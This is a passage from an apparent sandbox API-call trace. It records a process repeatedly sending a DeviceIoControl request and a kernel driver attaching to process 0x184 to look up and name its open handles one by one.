ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.290] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0068.290] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.290] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.290] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.290] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.290] PsAcquireProcessExitSynchronization () returned 0x0 [0068.290] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.290] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0068.290] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.290] PsReleaseProcessExitSynchronization () returned 0x2 [0068.290] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.290] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.290] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0068.290] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.290] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.290] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.290] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.290] PsAcquireProcessExitSynchronization () returned 0x0 [0068.290] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.290] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0068.290] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.290] PsReleaseProcessExitSynchronization () returned 0x2 [0068.290] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.291] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.291] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0068.291] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.291] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.291] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.291] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.291] PsAcquireProcessExitSynchronization () returned 0x0 [0068.291] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.291] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0068.291] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.291] PsReleaseProcessExitSynchronization () returned 0x2 [0068.291] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.291] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.291] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0068.291] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.291] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.291] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.291] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.291] PsAcquireProcessExitSynchronization () returned 0x0 [0068.291] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.291] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0068.291] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.291] PsReleaseProcessExitSynchronization () returned 0x2 [0068.291] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.291] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.291] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0068.291] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.291] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.291] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.292] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.292] PsAcquireProcessExitSynchronization () returned 0x0 [0068.292] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.292] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0068.292] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.292] PsReleaseProcessExitSynchronization () returned 0x2 [0068.292] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.292] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.292] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0068.292] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.292] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.292] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.292] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.292] PsAcquireProcessExitSynchronization () returned 0x0 [0068.292] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.292] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0068.292] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.292] PsReleaseProcessExitSynchronization () returned 0x2 [0068.292] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.292] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.292] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0068.292] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.292] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.292] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.292] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.292] PsAcquireProcessExitSynchronization () returned 0x0 [0068.292] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.292] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0068.292] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.293] PsReleaseProcessExitSynchronization () returned 0x2 [0068.293] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.293] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.293] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0068.293] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.293] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.293] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.293] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.293] PsAcquireProcessExitSynchronization () returned 0x0 [0068.293] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.293] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0068.293] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.293] PsReleaseProcessExitSynchronization () returned 0x2 [0068.293] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.293] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.293] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0068.293] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.293] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.293] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.293] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.293] PsAcquireProcessExitSynchronization () returned 0x0 [0068.293] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.293] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0068.293] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.293] PsReleaseProcessExitSynchronization () returned 0x2 [0068.293] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.293] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.293] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0068.293] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.294] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.294] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.294] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.294] PsAcquireProcessExitSynchronization () returned 0x0 [0068.294] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.294] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0068.294] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.294] PsReleaseProcessExitSynchronization () returned 0x2 [0068.294] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.294] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.294] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0068.294] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.294] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.294] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.294] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.294] PsAcquireProcessExitSynchronization () returned 0x0 [0068.294] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.294] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0068.294] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.294] PsReleaseProcessExitSynchronization () returned 0x2 [0068.294] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.294] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa8003986044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003986044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.294] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0068.294] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.294] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.294] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.295] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.295] PsAcquireProcessExitSynchronization () returned 0x0 [0068.295] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.295] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0068.295] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.295] PsReleaseProcessExitSynchronization () returned 0x2 [0068.295] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.295] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.295] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0068.295] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.295] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.295] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.295] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.295] PsAcquireProcessExitSynchronization () returned 0x0 [0068.295] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.295] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0068.295] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.295] PsReleaseProcessExitSynchronization () returned 0x2 [0068.295] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.295] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa8003988044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.295] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0068.295] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.295] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.295] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.295] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.295] PsAcquireProcessExitSynchronization () returned 0x0 [0068.295] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.295] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0068.296] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.296] PsReleaseProcessExitSynchronization () returned 0x2 [0068.296] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.296] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.296] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0068.296] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.296] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.296] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.296] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.296] PsAcquireProcessExitSynchronization () returned 0x0 [0068.296] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.296] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0068.296] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.296] PsReleaseProcessExitSynchronization () returned 0x2 [0068.296] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.296] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.296] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0068.296] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.296] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.296] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, 